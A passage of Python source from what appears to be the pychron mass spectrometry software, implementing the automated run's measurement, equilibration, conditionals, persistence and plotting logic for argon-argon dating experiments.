pid = script.get_active_pid_parameters()
self._update_persister_spec(
pid=pid or "",
grain_polygons=grain_polygons,
power_achieved=ach,
response_blob=rblob,
output_blob=oblob,
setpoint_blob=sblob,
snapshots=snapshots,
videos=videos,
extraction_positions=ext_pos,
extraction_context=extraction_context,
)
self._persister_save_action("post_extraction_save")
self.heading("Extraction Finished")
self.info_color = None
# if overlapping need to wait for previous runs min mass spec pump time
self._wait_for_min_ms_pumptime()
else:
if syn_extractor:
syn_extractor.stop()
self.do_post_equilibration()
self.do_post_measurement()
self.finish()
self.heading("Extraction Finished unsuccessfully", color="red")
self.info_color = None
return bool(ex_result)
def do_measurement(self, script=None, use_post_on_fail=True):
self.debug("do measurement")
self.debug(
"L#={} analysis type={}".format(
self.spec.labnumber, self.spec.analysis_type
)
)
if not self._alive:
self.warning("run is not alive")
return
if script is None:
script = self.measurement_script
if script is None:
self.warning("no measurement script")
return
# use a measurement_script to explicitly define
# measurement sequence
self.info_color = MEASUREMENT_COLOR
msg = "Measurement Started {}".format(script.name)
self.heading("{}".format(msg))
self.spec.state = MEASUREMENT
self.experiment_queue.refresh_table_needed = True
# get current spectrometer values
sm = self.spectrometer_manager
if sm:
self.debug("setting trap, emission, spec, defl, and gains")
self._update_persister_spec(
spec_dict=sm.make_configuration_dict(),
defl_dict=sm.make_deflections_dict(),
settings=sm.make_settings(),
gains=sm.make_gains_dict(),
trap=sm.read_trap_current(),
emission=sm.read_emission(),
)
self._persister_action("pre_measurement_save")
self.measuring = True
self._persister_action("trait_set", save_enabled=True)
if script.execute():
# mem_log('post measurement execute')
self.heading("Measurement Finished")
self.measuring = False
self.info_color = None
self._measured = True
return True
else:
if use_post_on_fail:
self.do_post_equilibration()
self.do_post_measurement()
self.finish()
self.heading(
"Measurement Finished unsuccessfully. Aborted={}".format(self._aborted),
color="red",
)
self.measuring = False
self.info_color = None
return self._aborted
def do_post_measurement(self, script=None):
if script is None:
script = self.post_measurement_script
if not script:
return True
if not self._alive:
return
msg = "Post Measurement Started {}".format(script.name)
self.heading("{}".format(msg))
if script.execute():
self.debug("setting _ms_pumptime")
self.executor_event = {"kind": "ms_pumptime_start", "time": time.time()}
self.heading("Post Measurement Finished")
return True
else:
self.heading("Post Measurement Finished unsuccessfully")
return False
_post_equilibration_thread = None
def do_post_equilibration(self, block=False):
if block:
self._post_equilibration()
else:
t = Thread(target=self._post_equilibration, name="post_equil")
# t.setDaemon(True)
self._post_equilibration_thread = t
t.start()
def do_post_termination(self, do_post_equilibration=True):
self.heading("Post Termination Started")
if do_post_equilibration:
self.do_post_equilibration()
self.do_post_measurement()
self.stop()
self.heading("Post Termination Finished")
# ===============================================================================
# utilities
# ===============================================================================
def get_current_dac(self):
return self.spectrometer_manager.spectrometer.magnet.dac
def assemble_report(self):
signal_string = ""
signals = self.get_baseline_corrected_signals()
if signals:
signal_string = "\n".join(
[
"{} {} {}".format(ai.name, ai.isotope, signals[ai.isotope])
for ai in self._active_detectors
]
)
age = ""
if self.isotope_group:
age = self.isotope_group.age
age_string = "age={}".format(age)
return """runid={} timestamp={} {}
anaylsis_type={}
# ===============================================================================
# signals
# ===============================================================================
{}
{}
""".format(
self.runid,
self.persister.rundate,
self.persister.runtime,
self.spec.analysis_type,
signal_string,
age_string,
)
def get_baselines(self):
if self.isotope_group:
return {
iso.name: (iso.detector, iso.baseline.uvalue)
for iso in self.isotope_group.values()
}
# return dict([(iso.name, (iso.detector, iso.baseline.uvalue)) for iso in
# self.isotope_group.values()])
def get_baseline_corrected_signals(self):
if self.isotope_group:
d = dict()
for k, iso in self.isotope_group.items():
d[k] = (iso.detector, iso.get_baseline_corrected_value())
return d
def setup_context(self, *args, **kw):
self._setup_context(*args, **kw)
def refresh_scripts(self):
self._refresh_scripts()
def update_detector_isotope_pairing(self, detectors, isotopes):
self.debug("update detector isotope pairing")
self.debug("detectors={}".format(detectors))
self.debug("isotopes={}".format(isotopes))
for di in self._active_detectors:
di.isotope = ""
for di, iso in zip(detectors, isotopes):
self.debug("updating pairing {} - {}".format(di, iso))
det = self.get_detector(di)
det.isotope = iso
# ===============================================================================
# private
# ===============================================================================
def _get_environmentals(self):
self.info("getting environmentals")
env = {}
lclient = self.labspy_client
tst = time.time()
if lclient:
if lclient.connect():
for tag in ("lab_temperatures", "lab_humiditys", "lab_pneumatics"):
st = time.time()
try:
env[tag] = getattr(lclient, "get_latest_{}".format(tag))()
self.debug(
"Get latest {}. elapsed: {}".format(tag, time.time() - st)
)
except BaseException as e:
self.debug("Get Labspy Environmentals: {}".format(e))
self.debug_exception()
else:
self.debug(
"failed to connect to labspy client. Could not retrieve environmentals"
)
self.debug("Environmentals: {}".format(pformat(env)))
else:
self.debug("LabspyClient not enabled. Could not retrieve environmentals")
self.info(
"getting environmentals finished: total duration: {}".format(
time.time() - tst
)
)
return env
def _start(self):
# for testing only
# self._get_environmentals()
if self.isotope_group is None:
# load arar_age object for age calculation
if self.experiment_type == AR_AR:
from pychron.processing.arar_age import ArArAge
klass = ArArAge
else:
from pychron.processing.isotope_group import IsotopeGroup
klass = IsotopeGroup
self.isotope_group = klass()
es = self.extraction_script
if es is not None:
# get sensitivity multiplier from extraction script
v = self._get_yaml_parameter(es, "sensitivity_multiplier", default=1)
self.isotope_group.sensitivity_multiplier = v
ln = self.spec.labnumber
ln = convert_identifier(ln)
self.debug(
"**************** Experiment Type: {}, {}".format(
self.experiment_type, AR_AR
)
)
if self.experiment_type == AR_AR:
if not self.datahub.load_analysis_backend(ln, self.isotope_group):
self.debug("failed load analysis backend")
return
self.isotope_group.calculate_decay_factors()
self.py_clear_conditionals()
# setup default/queue conditionals
# clear the conditionals for good measure.
# conditionals should be cleared during teardown.
try:
self._add_conditionals()
except BaseException as e:
self.warning("Failed adding conditionals {}".format(e))
return
try:
# add queue conditionals
self._add_queue_conditionals()
except BaseException as e:
self.warning("Failed adding queue conditionals. err={}".format(e))
return
try:
# add default conditionals
self._add_system_conditionals()
except BaseException as e:
self.warning("Failed adding system conditionals. err={}".format(e))
return
self.info("Start automated run {}".format(self.runid))
self.measuring = False
self.truncated = False
self._alive = True
if self.plot_panel:
self.plot_panel.start()
# self.plot_panel.set_analysis_view(self.experiment_type)
self.multi_collector.canceled = False
self.multi_collector.is_baseline = False
self.multi_collector.for_peak_hop = False
self._equilibration_done = False
# setup the scripts
ip = self.spec.script_options
if ip:
ip = os.path.join(paths.scripts_dir, "options", add_extension(ip, ".yaml"))
if self.measurement_script:
self.measurement_script.reset(self)
# set the interpolation path
self.measurement_script.interpolation_path = ip
for si in ("extraction", "post_measurement", "post_equilibration"):
script = getattr(self, "{}_script".format(si))
if script:
self._setup_context(script)
script.interpolation_path = ip
# load extraction metadata
self.eqtime = self._get_extraction_parameter("eqtime", -1)
self.time_zero_offset = self.spec.collection_time_zero_offset
# setup persister. mirror a few of AutomatedRunsAttributes
self.setup_persister()
return True
def _set_filtering(self):
self.debug("Set filtering")
def _get_filter_outlier_dict(iso, kind):
if kind == "baseline":
fods = self.persistence_spec.baseline_fods
key = iso.detector
else:
fods = self.persistence_spec.signal_fods
key = iso.name
try:
fod = fods[key]
except KeyError:
fod = {"filter_outliers": False, "iterations": 1, "std_devs": 2}
return fod
for i in self.isotope_group.values():
fod = _get_filter_outlier_dict(i, "signal")
self.debug("setting fod for {}= {}".format(i.name, fod))
i.set_filtering(fod)
fod = _get_filter_outlier_dict(i, "baseline")
i.baseline.set_filtering(fod)
self.debug("setting fod for {}= {}".format(i.detector, fod))
def _update_persister_spec(self, **kw):
ps = self.persistence_spec
for k, v in kw.items():
try:
ps.trait_set(**{k: v})
except TraitError as e:
self.warning(
"failed setting persistence spec attr={}, value={} error={}".format(
k, v, e
)
)
def _persister_save_action(self, func, *args, **kw):
self.debug("persistence save...")
if self.use_db_persistence:
self.debug("persistence save - db")
getattr(self.persister, func)(*args, **kw)
if self.use_dvc_persistence:
self.debug("persistence save - dvc")
getattr(self.dvc_persister, func)(*args, **kw)
if self.use_xls_persistence:
self.debug("persistence save - xls")
getattr(self.xls_persister, func)(*args, **kw)
def _persister_action(self, func, *args, **kw):
getattr(self.persister, func)(*args, **kw)
for i, p in enumerate((self.xls_persister, self.dvc_persister)):
if p is None:
continue
try:
getattr(p, func)(*args, **kw)
except BaseException as e:
self.warning(
"{} persister action failed. {} func={}, excp={}".format(
i, p.__class__.__name__, func, e
)
)
import traceback
traceback.print_exc()
def _post_equilibration(self):
if self._equilibration_done:
return
self._equilibration_done = True
if not self._alive:
return
if self.post_equilibration_script is None:
return
msg = "Post Equilibration Started {}".format(
self.post_equilibration_script.name
)
self.heading("{}".format(msg))
if self.post_equilibration_script.execute():
self.heading("Post Equilibration Finished")
else:
self.heading("Post Equilibration Finished unsuccessfully")
def _generate_ic_mftable(self, detectors, refiso, peak_center_config, n):
ret = True
from pychron.experiment.ic_mftable_generator import ICMFTableGenerator
e = ICMFTableGenerator()
if not e.make_mftable(self, detectors, refiso, peak_center_config, n):
ret = False
return ret
def _add_system_conditionals(self):
self.debug("add default conditionals")
p = get_path(paths.spectrometer_dir, ".*conditionals", (".yaml", ".yml"))
if p is not None:
self.info("adding default conditionals from {}".format(p))
self._add_conditionals_from_file(p, level=SYSTEM)
else:
self.warning("no Default Conditionals file. {}".format(p))
def _add_queue_conditionals(self):
"""
load queue global conditionals (truncations, actions, terminations)
"""
self.debug("Add queue conditionals")
name = self.spec.queue_conditionals_name
if test_queue_conditionals_name(name):
p = get_path(paths.queue_conditionals_dir, name, (".yaml", ".yml"))
if p is not None:
self.info("adding queue conditionals from {}".format(p))
self._add_conditionals_from_file(p, level=QUEUE)
else:
self.warning("Invalid Conditionals file. {}".format(p))
def _add_conditionals_from_file(self, p, level=None):
d = conditionals_from_file(p, level=level)
for k, v in d.items():
# if k in ('actions', 'truncations', 'terminations', 'cancelations'):
var = getattr(self, "{}_conditionals".format(k[:-1]))
var.extend(v)
def _conditional_appender(self, name, cd, klass, level=None, location=None):
if not self.isotope_group:
self.warning("No ArArAge to use for conditional testing")
return
attr = cd.get("attr")
if not attr:
self.debug("no attr for this {} cd={}".format(name, cd))
return
if attr == "age" and self.spec.analysis_type not in ("unknown", "cocktail"):
self.debug("not adding because analysis_type not unknown or cocktail")
# don't check if isotope_group has the attribute. it may be added to isotope group later
obj = getattr(self, "{}_conditionals".format(name))
con = conditional_from_dict(cd, klass, level=level, location=location)
if con:
self.info(
'adding {} attr="{}" '
'test="{}" start="{}"'.format(
name, con.attr, con.teststr, con.start_count
)
)
obj.append(con)
else:
self.warning("Failed adding {}, {}".format(name, cd))
def _refresh_scripts(self):
for name in SCRIPT_KEYS:
setattr(self, "{}_script".format(name), self._load_script(name))
def _get_default_fits_file(self):
p = self._get_measurement_parameter("default_fits")
if p:
dfp = os.path.join(paths.fits_dir, add_extension(p, ".yaml"))
if os.path.isfile(dfp):
return dfp
else:
self.warning_dialog("Cannot open default fits file: {}".format(dfp))
def _get_default_fits(self, is_baseline=False):
"""
get name of default fits file from measurement docstr
return dict of iso:fit pairs
"""
dfp = self._get_default_fits_file()
if dfp:
self.debug("using default fits file={}".format(dfp))
yd = yload(dfp)
key = "baseline" if is_baseline else "signal"
fd = {yi["name"]: (yi["fit"], yi["error_type"]) for yi in yd[key]}
else:
self.debug("no default fits file")
fd = {}
return fd
def _get_default_fods(self):
def extract_fit_dict(fods, yd):
for yi in yd:
fod = {
"filter_outliers": yi.get("filter_outliers", False),
"iterations": yi.get("filter_iterations", 0),
"std_devs": yi.get("filter_std_devs", 0),
}
fods[yi["name"]] = fod
sfods, bsfods = {}, {}
dfp = self._get_default_fits_file()
if dfp:
ys = yload(dfp)
for fod, key in ((sfods, "signal"), (bsfods, "baseline")):
try:
extract_fit_dict(fod, ys[key])
except BaseException:
self.debug_exception()
try:
yload(dfp, reraise=True)
except BaseException as ye:
self.warning(
"Failed getting signal from fits file. Please check the syntax. {}".format(
ye
)
)
return sfods, bsfods
def _start_script(self, name):
script = getattr(self, "{}_script".format(name))
self.debug("start {}".format(name))
if not self._alive:
self.warning("run is not alive")
return
if not script:
self.warning("no {} script".format(name))
return
return True
def _add_active_detector(self, di):
spec = self.spectrometer_manager.spectrometer
det = spec.get_detector(di)
if det not in self._active_detectors:
self._active_detectors.append(det)
def _set_active_detectors(self, dets):
spec = self.spectrometer_manager.spectrometer
return [spec.get_detector(n) for n in dets]
def _define_detectors(self, isotope, det):
if self.spectrometer_manager:
spec = self.spectrometer_manager.spectrometer
spec.update_isotopes(isotope, det)
def _activate_detectors(self, dets):
"""
!!! this is a potential problem !!!
need more sophisticated way to set up plot panel
e.g PP has detectors H1, AX but AX, CDD are active.
need to remove H1 and add CDD.
or
if memory leak not a problem simply always "create" new plots
instead of only clearing data.
or use both techniques
if plot panel detectors != active detectors "create"
"""
self.debug("activate detectors")
create = True
# if self.plot_panel is None:
# create = True
# else:
# cd = set([d.name for d in self.plot_panel.detectors])
# ad = set(dets)
# create = cd - ad or ad - cd
p = self._new_plot_panel(self.plot_panel, stack_order="top_to_bottom")
self._active_detectors = self._set_active_detectors(dets)
self.spectrometer_manager.spectrometer.active_detectors = self._active_detectors
if create:
p.create(self._active_detectors)
else:
p.isotope_graph.clear_plots()
self.debug("clear isotope group")
self.isotope_group.clear_isotopes()
self.isotope_group.clear_error_components()
self.isotope_group.clear_blanks()
cb = (
False
if any(self.spec.analysis_type.startswith(at) for at in NO_BLANK_CORRECT)
else True
)
for d in self._active_detectors:
self.debug("setting isotope det={}, iso={}".format(d.name, d.isotope))
self.isotope_group.set_isotope(
d.isotope, d.name, (0, 0), correct_for_blank=cb
)
self._load_previous()
# self.debug('load analysis view')
# p.analysis_view.load(self)
self.plot_panel = p
def _load_previous(self):
if not self.spec.analysis_type.startswith(
"blank"
) and not self.spec.analysis_type.startswith("background"):
runid, blanks = self.previous_blanks
self.debug("setting previous blanks")
for iso, v in blanks.items():
self.isotope_group.set_blank(iso, v[0], v[1])
self._update_persister_spec(
previous_blanks=blanks, previous_blank_runid=runid
)
self.isotope_group.clear_baselines()
baselines = self.previous_baselines
for iso, v in baselines.items():
self.isotope_group.set_baseline(iso, v[0], v[1])
def _add_conditionals(self):
t = self.spec.conditionals
self.debug("adding conditionals {}".format(t))
if t:
p = os.path.join(paths.conditionals_dir, add_extension(t, ".yaml"))
if os.path.isfile(p):
self.debug("extract conditionals from file. {}".format(p))
yd = yload(p)
failure = False
for kind, items in yd.items():
try:
okind = kind
if kind.endswith("s"):
kind = kind[:-1]
if kind == "modification":
klass_name = "QueueModification"
elif kind in ("pre_run_termination", "post_run_termination"):
continue
else:
klass_name = kind.capitalize()
mod = "pychron.experiment.conditional.conditional"
mod = importlib.import_module(mod)
klass = getattr(mod, "{}Conditional".format(klass_name))
except (ImportError, AttributeError):
self.critical(
'Invalid conditional kind="{}", klass_name="{}"'.format(
okind, klass_name
)
)
continue
for cd in items:
try:
self._conditional_appender(kind, cd, klass, location=p)
except BaseException as e:
self.debug(
'Failed adding {}. excp="{}", cd={}'.format(kind, e, cd)
)
failure = True
if failure:
if not self.confirmation_dialog(
"Failed to add Conditionals. Would you like to continue?"
):
self.cancel_run(do_post_equilibration=False)
else:
try:
c, start = t.split(",")
pat = "<=|>=|[<>=]"
attr = re.split(pat, c)[0]
freq = 1
acr = 0.5
except Exception as e:
self.debug("conditionals parse failed {} {}".format(e, t))
return
self.py_add_truncation(
attr=attr,
teststr=c,
start_count=int(start),
frequency=freq,
abbreviated_count_ratio=acr,
)
def _get_measurement_parameter(self, key, default=None):
return self._get_yaml_parameter(self.measurement_script, key, default)
def _get_extraction_parameter(self, key, default=None):
return self._get_yaml_parameter(self.extraction_script, key, default)
def _new_plot_panel(self, plot_panel, stack_order="bottom_to_top"):
title = self.runid
sample, irradiation = self.spec.sample, self.spec.display_irradiation
if sample:
title = "{} {}".format(title, sample)
if irradiation:
title = "{} {}".format(title, irradiation)
# if plot_panel is None:
# from pychron.experiment.plot_panel import PlotPanel
plot_panel = PlotPanel(
stack_order=stack_order,
info_func=self.info,
isotope_group=self.isotope_group,
)
self.debug("*************** Set Analysis View {}".format(self.experiment_type))
plot_panel.set_analysis_view(
self.experiment_type,
analysis_type=self.spec.analysis_type,
analysis_id=self.runid,
)
# an = plot_panel.analysis_view
# an.load(self)
plot_panel.trait_set(plot_title=title)
return plot_panel
def _convert_valve(self, valve):
if isinstance(valve, int):
valve = str(valve)
if valve and not isinstance(valve, (tuple, list)):
if "," in valve:
valve = [v.strip() for v in valve.split(",")]
else:
valve = (valve,)
return valve
def _equilibrate(
self,
evt,
eqtime=15,
inlet=None,
outlet=None,
delay=3,
do_post_equilibration=True,
close_inlet=True,
):
inlet = self._convert_valve(inlet)
elm = self.extraction_line_manager
# delay for eq time
self.info("equilibrating for {}sec".format(eqtime))
time.sleep(eqtime)
if self._alive:
# analyze the equilibration
try:
self._analyze_equilibration()
except BaseException as e:
self.debug(
"AutomatedRun._equilibrate _analyze_equilibration error. Exception={}".format(
e
)
)
self.heading("Equilibration Finished")
if elm and inlet and close_inlet:
for i in inlet:
elm.close_valve(i, mode="script")
if do_post_equilibration:
self.do_post_equilibration()
if self.overlap_evt:
self.debug("setting overlap event. next run ok to start extraction")
self.overlap_evt.set()
def _analyze_equilibration(self):
if self.use_equilibration_analysis and self.plot_panel:
g = self.plot_panel.sniff_graph
xmi, xma = g.get_x_limits()
xma *= 1.25
g.set_x_limits(xmi, xma)
fxs = linspace(xmi, xma)
for i, p in enumerate(g.plots):
try:
xs = g.get_data(i)
except IndexError:
continue
ys = g.get_data(i, axis=1)
if ys is None:
continue
for ni, color, yoff in (
(5, "red", 30),
(4, "green", 10),
(3, "blue", -10),
(2, "orange", -30),
):
xsi, ysi = xs[-ni:], ys[-ni:]
g.new_series(
xsi, ysi, type="scatter", plotid=i, color=color, marker_size=2.5
)
coeffs = polyfit(xsi, ysi, 1)
fys = polyval(coeffs, fxs)
g.new_series(fxs, fys, type="line", plotid=i, color=color)
txt = "Slope ({})={:0.3f}".format(ni, coeffs[0])
g.add_plot_label(
txt,
plotid=i,
overlay_position="inside right",
font="modern 14",
bgcolor="white",
color=color,
y_offset=yoff,
)
g.redraw()
def _update_labels(self):
self.debug("update labels {}".format(self.plot_panel))
if self.plot_panel:
for g in (self.plot_panel.isotope_graph, self.plot_panel.sniff_graph):
if g:
self.debug('update labels "{}"'.format(g))
# update the plot_panel labels
plots = g.plots
n = len(plots)
names = []
multiples = []
for i, det in enumerate(self._active_detectors):
if i < n:
name = det.isotope
if name in names:
multiples.append(name)
name = "{}{}".format(name, det.name)
plots[i].y_axis.title = name
self.debug(
"setting label {} {} {}".format(i, det.name, name)
)
names.append(name)
for i, det in enumerate(self._active_detectors):
if i < n:
name = det.isotope
if name in multiples:
self.debug(
"second setting label {} {} {}".format(
i, det.name, name
)
)
plots[i].y_axis.title = "{}{}".format(name, det.name)
g.refresh()
def _update_detectors(self):
for det in self._active_detectors:
self.isotope_group.set_isotope_detector(det)
for det in self._active_detectors:
self.isotope_group.set_isotope_detector(det, add=True)
self._load_previous()
def _set_hv_position(
self,
pos,
detector,
update_detectors=True,
update_labels=True,
update_isotopes=True,
):
ion = self.ion_optics_manager
if ion is not None:
change = ion.hv_position(pos, detector, update_isotopes=update_isotopes)
def _set_magnet_position(
self,
pos,
detector,
use_dac=False,
update_detectors=True,
update_labels=True,
update_isotopes=True,
remove_non_active=True,
for_collection=True,
):
change = False
ion = self.ion_optics_manager
if ion is not None:
change = ion.position(
pos, detector, use_dac=use_dac, update_isotopes=update_isotopes
)
if for_collection:
if update_labels:
self._update_labels()
if update_detectors:
self._update_detectors()
if remove_non_active:
keys = list(self.isotope_group.keys())
for k in keys:
iso = self.isotope_group.isotopes[k]
det = next(
(di for di in self._active_detectors if di.isotope == iso.name),
None,
)
if det is None:
self.isotope_group.pop(k)
def key(v):
return v[1].name
def key2(v):
return v[1].detector
self.debug("per cleaned {}".format(keys))
for name, items in groupby_key(self.isotope_group.items(), key):
items = list(items)
if len(items) > 1:
for det, items in groupby_key(items, key2):
items = list(items)
if len(items) > 1:
for k, v in items:
if v.name == k:
self.isotope_group.isotopes.pop(k)
self.debug("cleaned isotope group {}".format(keys))
if self.plot_panel:
self.debug("load analysis view")
self.plot_panel.analysis_view.load(self)
# self.plot_panel.analysis_view.refresh_needed = True
return change
def _data_generator(self):
cnt = 0
fcnt = self.failed_intensity_count_threshold
spec = self.spectrometer_manager.spectrometer
self._intensities = {}
while 1:
try:
k, s, t, inc = spec.get_intensities(tagged=True, trigger=False)
except NoIntensityChange:
self.warning(
"Canceling Run. Intensity from mass spectrometer not changing"
)
try:
self.info("Saving run. Analysis did not complete successfully")
self.save()
except BaseException:
self.warning("Failed to save run")
self.cancel_run(state=FAILED)
yield None
if not k:
cnt += 1
self.info(
"Failed getting intensity from mass spectrometer {}/{}".format(
cnt, fcnt
)
)
if cnt >= fcnt:
try:
self.info("Saving run. Analysis did not complete successfully")
self.save()
except BaseException:
self.warning("Failed to save run")
self.warning(
"Canceling Run. Failed getting intensity from mass spectrometer"
)
# do we need to cancel the experiment or will the subsequent pre run
# checks sufficient to catch spectrometer communication errors.
self.cancel_run(state=FAILED)
yield None
else:
yield None, None, None, False
else:
# reset the counter
cnt = 0
if self.intensity_scalar:
s = [si * self.intensity_scalar for si in s]
self._intensities["tags"] = k
self._intensities["signals"] = s
yield k, s, t, inc
# return gen()
def _whiff(
self, ncounts, conditionals, starttime, starttime_offset, series, fit_series
):
"""
conditionals: list of dicts
"""
for ci in conditionals:
if ci.get("start") is None:
ci["start"] = ncounts
conds = [conditional_from_dict(ci, ActionConditional) for ci in conditionals]
self.isotope_group.conditional_modifier = "whiff"
self.collector.set_temporary_conditionals(conds)
self.py_data_collection(
None,
ncounts,
starttime,
starttime_offset,
series,
fit_series,
group="whiff",
)
self.collector.clear_temporary_conditionals()
self.isotope_group.conditional_modifier = None
result = self.collector.measurement_result
self._update_persister_spec(whiff_result=result)
self.debug("WHIFF Result={}".format(result))
return result
def _peak_hop(
self,
ncycles,
ncounts,
hops,
grpname,
starttime,
starttime_offset,
series,
check_conditionals,
):
"""
ncycles: int
hops: list of tuples
hop = 'Isotope:Det[,Isotope:Det,...]', Count, Settling Time(s)
ex.
hop = 'Ar40:H1,Ar36:CDD', 10, 1
"""
self.peak_hop_collector.trait_set(ncycles=ncycles)
self.peak_hop_collector.set_hops(hops)
self.persister.build_peak_hop_tables(grpname, hops)
data_writer = self.persister.get_data_writer(grpname)
return self._measure(
grpname,
data_writer,
ncounts,
starttime,
starttime_offset,
series,
check_conditionals,
self.signal_color,
)
def _sniff(self, ncounts, starttime, starttime_offset, series):
self.debug("py_sniff")
if not self._alive:
return
p = self.plot_panel
if p:
p._ncounts = ncounts
p.is_baseline = False
self.plot_panel.show_sniff_graph()
gn = "sniff"
self.persister.build_tables(gn, self._active_detectors, ncounts)
# mem_log('build tables')
check_conditionals = True
writer = self.persister.get_data_writer(gn)
result = self._measure(
gn,
writer,
ncounts,
starttime,
starttime_offset,
series,
check_conditionals,
self.sniff_color,
)
return result
def _measure(
self,
grpname,
data_writer,
ncounts,
starttime,
starttime_offset,
series,
check_conditionals,
color,
script=None,
):
if script is None:
script = self.measurement_script
# mem_log('pre measure')
if not self.spectrometer_manager:
self.warning("no spectrometer manager")
return True
self.info(
"measuring {}. ncounts={}".format(grpname, ncounts), color=MEASUREMENT_COLOR
)
if globalv.experiment_debug:
period = 1
else:
period = self.spectrometer_manager.spectrometer.get_update_period(
it=self._integration_seconds
)
m = self.collector
m.trait_set(
measurement_script=script,
detectors=self._active_detectors,
collection_kind=grpname,
series_idx=series,
check_conditionals=check_conditionals,
ncounts=ncounts,
period_ms=period * 1000,
data_generator=self._data_generator(),
data_writer=data_writer,
experiment_type=self.experiment_type,
refresh_age=self.spec.analysis_type in ("unknown", "cocktail"),
)
m.set_starttime(starttime)
if hasattr(self.spectrometer_manager.spectrometer, "trigger_acq"):
m.trait_set(trigger=self.spectrometer_manager.spectrometer.trigger_acq)
if self.plot_panel:
self.plot_panel.integration_time = self._integration_seconds
self.plot_panel.set_ncounts(ncounts)
if grpname == "sniff":
self._setup_isotope_graph(starttime_offset, color, grpname)
self._setup_sniff_graph(starttime_offset, color)
elif grpname == "baseline":
self._setup_baseline_graph(starttime_offset, color)
else:
self._setup_isotope_graph(starttime_offset, color, grpname)
# time.sleep(0.5)
with self.persister.writer_ctx():
m.measure()
# mem_log('post measure')
if m.terminated:
self.debug("measurement terminated")
self.cancel_run(state="terminated")
if m.canceled:
self.debug("measurement collection canceled")
self.cancel_run()
self.executor_event = {
"kind": "cancel",
"confirm": False,
"err": m.err_message,
}
return not m.canceled
def _get_plot_id_by_ytitle(self, graph, pair, iso=None):
"""
pair is string in form <Iso><Det>, iso is just <Iso>
:param graph:
:param pair:
:param secondary:
:return:
"""
idx = graph.get_plotid_by_ytitle(pair)
if idx is None and iso:
if not isinstance(iso, str):
iso = iso.name
idx = graph.get_plotid_by_ytitle(iso)
return idx
def _update_limits(self, graph, starttime_offset):
# update limits
mi, ma = graph.get_x_limits()
max_ = ma
min_ = mi
tc = self.plot_panel.total_seconds
if tc > ma or ma == Inf:
max_ = tc
if starttime_offset > mi:
min_ = -starttime_offset
graph.set_x_limits(min_=min_, max_=max_ * 1.25)
def _setup_baseline_graph(self, starttime_offset, color):
graph = self.plot_panel.baseline_graph
self._update_limits(graph, starttime_offset)
for det in self._active_detectors:
idx = graph.get_plotid_by_ytitle(det.name)
if idx is not None:
try:
graph.series[idx][0]
except IndexError as e:
graph.new_series(
marker="circle",
color=color,
type="scatter",
marker_size=1.25,
fit="linear",
plotid=idx,
use_error_envelope=False,
add_inspector=False,
add_tools=False,
)
def _setup_sniff_graph(self, starttime_offset, color):
graph = self.plot_panel.sniff_graph
self._update_limits(graph, starttime_offset)
series = self.collector.series_idx
for k, iso in self.isotope_group.items():
idx = self._get_plot_id_by_ytitle(graph, k, iso)
if idx is not None:
try:
graph.series[idx][series]
except IndexError as e:
graph.new_series(
marker="circle",
color=color,
type="scatter",
marker_size=1.25,
fit=None,
plotid=idx,
use_error_envelope=False,
add_inspector=False,
add_tools=False,
)
def _setup_isotope_graph(self, starttime_offset, color, grpname):
"""
execute in main thread is necessary.
set the graph limits and construct the necessary series
set 0-count fits
"""
graph = self.plot_panel.isotope_graph
self._update_limits(graph, starttime_offset)
regressing = grpname != "sniff"
series = self.collector.series_idx
for k, iso in self.isotope_group.items():
idx = self._get_plot_id_by_ytitle(graph, k, iso)
if idx is not None:
try:
graph.series[idx][series]
except IndexError as e:
fit = None if grpname == "sniff" else iso.get_fit(0)
graph.new_series(
marker="circle",
color=color,
type="scatter",
marker_size=1.25,
fit=fit,
plotid=idx,
use_error_envelope=False,
add_inspector=False,
add_tools=False,
)
if regressing:
graph.set_regressor(iso.regressor, idx)
scnt, fcnt = (2, 1) if regressing else (1, 0)
self.debug(
'"{}" increment series count="{}" '
'fit count="{}" regressing="{}"'.format(grpname, scnt, fcnt, regressing)
)
self.measurement_script.increment_series_counts(scnt, fcnt)
def _wait_for(self, predicate, msg):
st = time.time()
i = 0
while self._alive:
time.sleep(1.0)
et = time.time() - st
if predicate(et):
break
if i % 5 == 0:
self.debug(msg(et))
i = 0
i += 1
def _wait_for_min_ms_pumptime(self):
overlap, mp = self.spec.overlap
pt = self.min_ms_pumptime
if not overlap:
self.debug("no overlap. not waiting for min ms pumptime")
return
if self.is_first:
self.debug("this is the first run. not waiting for min ms pumptime")
return
if not mp:
self.debug("using default min ms pumptime={}".format(pt))
mp = pt
# ensure mim mass spectrometer pump time
# wait until pumping started
self.debug("wait for mass spec pump out to start")
self._wait_for(
lambda x: self.ms_pumptime_start is not None,
lambda x: "waiting for mass spec pumptime to start {:0.2f}".format(x),
)
# wait for min pump time
self.debug("mass spec pump out to started")
self._wait_for(
lambda x: self.elapsed_ms_pumptime > mp,
lambda x: "waiting for min mass spec pumptime {}, elapse={:0.2f}".format(
mp, x
),
)
self.debug("min pumptime elapsed {} {}".format(mp, self.elapsed_ms_pumptime))
# ===============================================================================
# scripts
# ===============================================================================
def _load_script(self, name):
script = None
sname = getattr(self.script_info, "{}_script_name".format(name))
if sname and sname != NULL_STR:
sname = self._make_script_name(sname)
script = self._bootstrap_script(sname, name)
return script
def _bootstrap_script(self, fname, name):
# global SCRIPTS
global WARNED_SCRIPTS
def warn(fn, e):
self.spec.executable = False
if fn not in WARNED_SCRIPTS:
WARNED_SCRIPTS.append(fn)
self.warning_dialog("Invalid Script {}\n{}".format(fn, e))
self.debug('loading script "{}"'.format(fname))
func = getattr(self, "_{}_script_factory".format(name))
s = func()
if s and os.path.isfile(s.filename):
if s.bootstrap():
s.set_default_context()
else:
fname = s.filename if s else fname
e = "Not a file"
warn(fname, e)
return s
def _measurement_script_factory(self):
from pychron.pyscripts.measurement_pyscript import MeasurementPyScript
sname = self.script_info.measurement_script_name
sname = self._make_script_name(sname)
klass = MeasurementPyScript
if isinstance(self.spectrometer_manager, ThermoSpectrometerManager):
from pychron.pyscripts.measurement.thermo_measurement_pyscript import (
ThermoMeasurementPyScript,
)
klass = ThermoMeasurementPyScript
elif isinstance(self.spectrometer_manager, NGXSpectrometerManager):
from pychron.pyscripts.measurement.ngx_measurement_pyscript import (
NGXMeasurementPyScript,
)
klass = NGXMeasurementPyScript
elif isinstance(self.spectrometer_manager, QuaderaSpectrometerManager):
from pychron.pyscripts.measurement.quadera_measurement_pyscript import (
QuaderaMeasurementPyScript,
)
klass = QuaderaMeasurementPyScript
ms = klass(
root=paths.measurement_dir,
name=sname,
automated_run=self,
runner=self.runner,
)
return ms
def _extraction_script_factory(self, klass=None):
ext = self._ext_factory(
